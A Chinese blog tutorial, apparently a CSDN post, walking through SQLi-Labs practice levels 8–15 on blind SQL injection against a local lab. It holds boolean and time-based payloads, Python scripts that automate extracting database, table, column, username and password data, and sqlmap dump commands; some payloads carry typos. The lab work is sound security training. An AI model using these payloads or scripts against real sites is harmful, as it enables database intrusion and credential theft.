• SQL-LABS


     less8

    and 1=1--+

     1=2

     发现存在注入点

    接下来我们会接着用联合查询

     和以往的题目不一样没显错位,也就是没有报错的内容,尝试用盲注

    布尔型

    length()返回长度

    substr()截取字符串(语法substr(str,pos,len);)

    ascii()返回字符的ASCII码,也就是将字符变成数字

    时间型

    sleep()将程序挂起一段时间为多少

    if(expr1,expr2,expr3)判断语句,如果第一个语句正确就执行第二个语句如果错误执行第三个语句。

    ?id=1' and (length(database()))=8--+      页面正常

     判断之后发现长度是等于8的

    猜解数据库的长度

    id=1' and (ascii(substr(database(),1,1)))=115#     返回正常,第一位是s

    第一个1代表的是位置,第二个1代表的是个数,也就是说第一个的第一位。

    id=1' and (ascii(substr(database(),2,1)))=101#     返回正常,第二位是e

    也就是判断将截取下来的字符进行ASCII编码是否等于对应的数字

    猜解表名

    id=1' and(ascii(substr(select table_name from information_schema.table where table_schema=database() limit 0,1),1,1)))=101--+

    limit和substr不一样,limit是从0开始的

    猜字段

    id=1' and(ascii(substr(select cloumn_name from information_schema.cloumns where table_name='emails' limit 0,1),1,1)))=105--+ 

    返回正常,说明emails表中的列名称第一位是i,这样下去就可以了

    我们也可以使用脚本

    第一种

    1. import requests
    2. import string
    3. url = 'http://127.0.0.1/sql/Less-8/'
    4. def make_payload(query):
    5. return url + "?id=" + query
    6. def make_request(payload):
    7. res = requests.get(payload)
    8. return 'You are in...........' in res.text
    9. # 猜解数据库长度
    10. print('[+] 正在猜解数据库长度......')
    11. db_name_len = 0
    12. for i in range(31):
    13. payload = make_payload("1'and length(database())=%d--+" % i)
    14. if make_request(payload):
    15. db_name_len = i
    16. print('数据库长度为:', db_name_len)
    17. break
    18. else:
    19. print('error!')
    20. # 猜解数据库名字
    21. print("[+] 正在猜解数据库名字......")
    22. db_name = ''
    23. for i in range(1, db_name_len + 1):
    24. for k in string.ascii_lowercase:
    25. payload = make_payload("1'and substr(database(),%d,1)='%s'--+" % (i, k))
    26. if make_request(payload):
    27. db_name += k
    28. break
    29. print("数据库为:", db_name)
    30. # 猜解表的数量
    31. print("[+] 正在猜解表的数量......")
    32. tab_num = 0
    33. while True:
    34. payload = make_payload("1'and (select count(table_name) from information_schema.tables where table_schema='security')=%d--+" % tab_num)
    35. if make_request(payload):
    36. print("%s数据库共有%d张表" % (db_name, tab_num))
    37. break
    38. else:
    39. tab_num += 1
    40. # 猜解表名
    41. print("[+] 开始猜解表名......")
    42. for i in range(1, tab_num + 1):
    43. tab_len = 0
    44. while True:
    45. payload = make_payload("1'and (select length(table_name) from information_schema.tables where table_schema='security' limit %d,1)=%d--+" % (i-1, tab_len))
    46. if make_request(payload):
    47. break
    48. tab_len += 1
    49. if tab_len == 30:
    50. print('error!')
    51. break
    52. tab_name = ''
    53. for j in range(1, tab_len + 1):
    54. for m in string.ascii_lowercase:
    55. payload = make_payload("1'and substr((select table_name from information_schema.tables where table_schema='security' limit %d,1),%d,1)='%s'--+" % (i-1, j, m))
    56. if make_request(payload):
    57. tab_name += m
    58. break
    59. print("[-] 第%d张表名为: %s" % (i, tab_name))
    60. # 猜解表下字段
    61. dump_num = 0
    62. while True:
    63. payload = make_payload("1'and (select count(column_name) from information_schema.columns where table_name='%s')=%d--+" % (tab_name, dump_num))
    64. if make_request(payload):
    65. print("%s表下有%d个字段" % (tab_name, dump_num))
    66. break
    67. dump_num += 1
    68. for a in range(1, dump_num + 1):
    69. dump_len = 0
    70. while True:
    71. payload = make_payload("1'and (select length(column_name) from information_schema.columns where table_name='%s' limit %d,1)=%d--+" % (tab_name, a-1, dump_len))
    72. if make_request(payload):
    73. break
    74. dump_len += 1
    75. if dump_len == 30:
    76. print("error!!")
    77. break
    78. dump_name = ''
    79. for i in range(1, dump_len + 1):
    80. for j in (string.ascii_lowercase + '_-'):
    81. payload = make_payload("1'and substr((select column_name from information_schema.columns where table_name='%s' limit %d,1),%d,1)='%s'--+" % (tab_name, a-1, i, j))
    82. if make_request(payload):
    83. dump_name += j
    84. break
    85. print(dump_name)
    86. # 猜解users表下的username
    87. print("[+] 开始猜解users表下的username......")
    88. usn_num = 0
    89. char = "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890_-"
    90. while True:
    91. payload = make_payload("1'and (select count(username) from security.users)=%d--+" % usn_num)
    92. if make_request(payload):
    93. break
    94. usn_num += 1
    95. for i in range(1, usn_num + 1):
    96. usn_len = 0
    97. while True:
    98. payload = make_payload("1'and (select length(username) from security.users limit %d,1)=%d--+" % (i-1, usn_len))
    99. if make_request(payload):
    100. break
    101. usn_len += 1
    102. usr_name = ''
    103. for k in range(1, usn_len + 1):
    104. for m in char:
    105. payload = make_payload("1'and substr((select username from security.users limit %d,1),%d,1)='%s'--+" % (i-1, k, m))
    106. if make_request(payload):
    107. usr_name += m
    108. break
    109. print(usr_name)
    110. # 猜解users表下的password
    111. print("[+] 开始猜解users表下的password......")
    112. usn_num = 0
    113. char = "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890_-@!"
    114. while True:
    115. payload = make_payload("1'and (select count(password) from security.users)=%d--+" % usn_num)
    116. if make_request(payload):
    117. break
    118. usn_num += 1
    119. for i in range(1, usn_num + 1):
    120. usn_len = 0
    121. while True:
    122. payload = make_payload("1'and (select length(password) from security.users limit %d,1)=%d--+" % (i-1, usn_len))
    123. if make_request(payload):
    124. break
    125. usn_len += 1
    126. usr_name = ''
    127. for k in range(1, usn_len + 1):
    128. for m in char:
    129. payload = make_payload("1'and substr((select password from security.users limit %d,1),%d,1)='%s'--+" % (i-1, k, m))
    130. if make_request(payload):
    131. usr_name += m
    132. break
    133. print(usr_name)

     

     我们是可以用脚本爆出来的,但是需要等一会

    第二种

     

    这个先猜出个数

    这个是显示具体的库名

    表名和字段也是一样的

    1. import requestsdef get_dblength(base_url): url = base_url+"' and (length(database())={0}) %23" base_num = 100 for i in range(0,base_num): url1 = url.format(i) print(url1) result = len(requests.get(url1).text) if result == base_result: print("库名长度:",i) break return i
    2. def get_dbname(base_url,db_length): dict = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz' dbname = "" url = base_url+"' and ascii(substr(database(),{0},1))={1} %23" for i in range(1,db_length+1): for m in dict: m_ascii = ord(m) url2 = url.format(i,m_ascii) result = requests.get(url2) if len(result.text) == base_result: dbname += m print(dbname) break print("库名:",dbname)
    3. def get_table_length(): url = base_url + "' and (select length(table_name) from information_schema.tables where table_schema = database() limit {0},1)={1}%23" for i in range(0,20): url1 = url.format(2,i) result = requests.get(url1) if base_result == len(result.text): print("表名长度:",i) break return i
    4. def get_table_name(table_length): dict = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz' table_name = "" url = base_url + "' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit {0},1),{1},1))={2} %23" for i in range(1,table_length + 1): for m in dict: ascii_m = ord(m) url1 = url.format(2,i,ascii_m) result = requests.get(url1).text if base_result == len(result): table_name +=m print("表名:",table_name) break return table_name
    5. if __name__ == '__main__': base_url = "http://127.0.0.1/sqli-labs/Less-8/?id=1" base_result = len(requests.get(base_url).text) dblength = get_dblength(base_url) get_dbname(base_url, dblength) get_table_length() get_table_name(7)

    SQLMAP

    1. 基础指令:

    –dbs 获取库名
    -D 指定库
    –tables 表
    sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1 --dbs -D mysql --tables
    -T 指定表
    –columns 跑字段
    –dump 获取数据(高危指令)
    sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1 --dbs -D mysql -T user --dump
     

     less9

    同样是盲注

    我们尝试一下1=1和1=2发现他们的页面都是一样的,这里要注意的是不代表这里不存在注入,上面我们提到时间盲注,这也就是和上面的区别。

    布尔盲注有两种页面,但是时间没有,只有一种页面,不管对与错

    时间注入和布尔盲注两种没有多大差别只不过时间盲注多了if函数和sleep()函数。if(a,sleep(10),1)如果a结果是真的,那么执行sleep(10)页面延迟10秒,如果a的结果是假,执行1,页面不延迟。通过页面时间来判断出id参数是单引号字符串。

    ?id=1' and if(1=1,sleep(5),1)--+
    判断参数构造。
    ?id=1'and if(length((select database()))>9,sleep(5),1)--+
    判断数据库名长度
     
    ?id=1'and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+
    逐一判断数据库字符
    ?id=1'and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13,sleep(5),1)--+
    判断所有表名长度
     
    ?id=1'and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99,sleep(5),1)--+
    逐一判断表名
    ?id=1'and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20,sleep(5),1)--+
    判断所有字段名的长度
     
    ?id=1'and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99,sleep(5),1)--+
    逐一判断字段名。
    ?id=1' and if(length((select group_concat(username,password) from users))>109,sleep(5),1)--+
    判断字段内容长度
     
     ?id=1' and if(ascii(substr((select group_concat(username,password) from users),1,1))>50,sleep(5),1)--+
    逐一检测内容。

    下面是两个脚本

    1. # -*- coding: utf-8 -*-
    2. import requests
    3. import time
    4. url = 'http://127.0.0.1/sqli/Less-8/?id=1'
    5. def check(payload):
    6. url_new = url + payload
    7. time_start = time.time()
    8. content = requests.get(url=url_new)
    9. time_end = time.time()
    10. if time_end - time_start >5:
    11. return 1
    12. result = ''
    13. s = r'0123456789abcdefghijklmnopqrstuvwxyz'
    14. for i in xrange(1,100):
    15. for c in s:
    16. payload = "'and if(substr(database(),%d,1)='%c',sleep(5),1)--+" % (i,c)
    17. if check(payload):
    18. result += c
    19. break
    20. print result
    21. # -*- coding: utf-8 -*-
    22. import requests
    23. import time
    24. url = 'http://127.0.0.1/sqli/Less-8/?id=1'
    25. def check(payload):
    26. url_new = url + payload
    27. time_start = time.time()
    28. content = requests.get(url=url_new)
    29. time_end = time.time()
    30. if time_end - time_start >5:
    31. return 1
    32. result = ''
    33. panduan = ''
    34. ll=0
    35. s = r'0123456789abcdefghijklmnopqrstuvwxyz'
    36. for i in xrange(1,100):
    37. for c in s:
    38. payload = "'and if(substr((select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 1,1),%d,1)='%c',sleep(5),1)--+" % (i,c)
    39. if check(payload):
    40. result += c
    41. break
    42. if ll==len(result):
    43. print 'table_name: '+result
    44. end = raw_input('-------------')
    45. ll = len(result)
    46. print result

     第十关和第九关差不多,只是把单引号换成双引号

    less11和less12

    可以发现页面就发生变化了,是账户登录页面。那么注入点就在输入框里面。前十关使用的是get请求,参数都体现在url上面,而从十一关开始是post请求,参数是在表单里面。我们可以直接在输入框进行注入就行

    11&12

    less13

    十三关和十二关差不多,只需要将双引号换成单引号

    less14

    十四关和十一关差不多,只需要将单引号换成双引号

    less15

    这关和前面的十一关有点像没有显示报错信息,这就是明显的布尔盲注。因为还有错误页面和正确页面进行参考

     

    现在就可以判断是单引号的闭合注入了,根据页面来看是布尔盲注

    套路还是走一下

    先猜解出数据库

    判断数据库的长度是否是大于5的,最终发现是登录成功的

    1' or length(database())>5#

     看看大于8吗? 最后发现是不大于8的

     判断大于m吗

    1' or substr(database(),1,1)>'m'#

    看看s

     说明第一个字母在m到s之间,试了一下是等于s的,就直接猜一下,发现是可以的

    1' or substr(database(),1,8)='security'#

     后面接着看表,看看表的数量有多少,如果多的话就增加工作量,少的话就可以加快速度

    1' or (select count(table_name) from information_schema.tables where table_schema=database())>5#

    报错,说明表的数量是小于等于5的,还好不是很多

    第一张表的长度大于5,有点多了.....  但是大于6会报错,也就是等于6

    1' or length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>5#

     通过以上方法

    得到第一个表名长6,第二个表名长8,第三个表名长6,第四个长度表名长5

     开始测

    1' or mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)>'m'#

    字符处理函数功能举例
    重点 concat()没有分隔符地连接字符串select concat(c1,c2) from xxx
    重点 concat_ws()指定分隔符地连接字符串select concat_ws(':',c1,c2) from xxx
    重点 group_concat()以逗号分隔某列/组的数据select group_concat(c1,c2) from xxx
    load_file()读取服务器文件select loadfile('/tmp/a.txt')
    into outfile写入文件到服务器select 'xxxx' into outfile '/tmp/a.txt'
    ascii()字符串的ASCII代码值select ascii('a')
    ord()返回字符串第一个字符的ASCII值select ord('abc')
    char()返回ASCII值对应的字符串select char(97)
    mid()返回一个字符串的一部分select mid('abcde',1,1)
    substr()返回一个字符串的一部分select substr('abcde',1,1)
    length()返回字符串的长度select length('abc')
    left()返回字符串最左面几个字符select left('mysql',2)
    floor()返回小于或等于X的最大整数select floor(5.1)
    rand()返回0-1间的一个随机数select rand()
    if()三目运算select if(1>2,'A','B')
    strcmp()比较字符串ASCII大小select strcmp('c','b')
    ifnull()参数1为不null则返回参数1,否则参数2select ifnull(null,2)

    第一张表的第一个字母是在a到m之间的,猜了是e

    1' or mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e'#

    所以这个要不断的去试,才能试出来,第四个表为users

    看看字段

    1' or length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1))>5#

     根据结果要爆的字段数要小于5

    字段长度

    1' or length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1))>5#

    根据上面的方式,不断去猜解   知道username,下面的也是接着走

    判断username第一条记录长度

    1' or length((select username from users limit 0,1))>5#

     

  • 相关阅读:
    JAVASE(复习)——API(String)
    大一新生HTML期末作业 学生个人网页设计作业 HTML5响应式个人简历网站模板 web前端网页制作课作业
    [免费专栏] Android安全之Android Fragment注入
    linux redis自启动
    Zookeeper基本使用(新增,修改,查看,删除节点)
    Python在循环中创建lambda的问题
    微服务结合领域驱动设计落地
    基于JavaWEB+MySQL的房屋租赁网站管理系统
    8万ta煤焦油加氢(8400ha)工艺设计
    视频怎么抠图换背景,怎么把视频后面的背景换掉?
  • 原文地址:https://blog.csdn.net/qq_75005708/article/details/132133092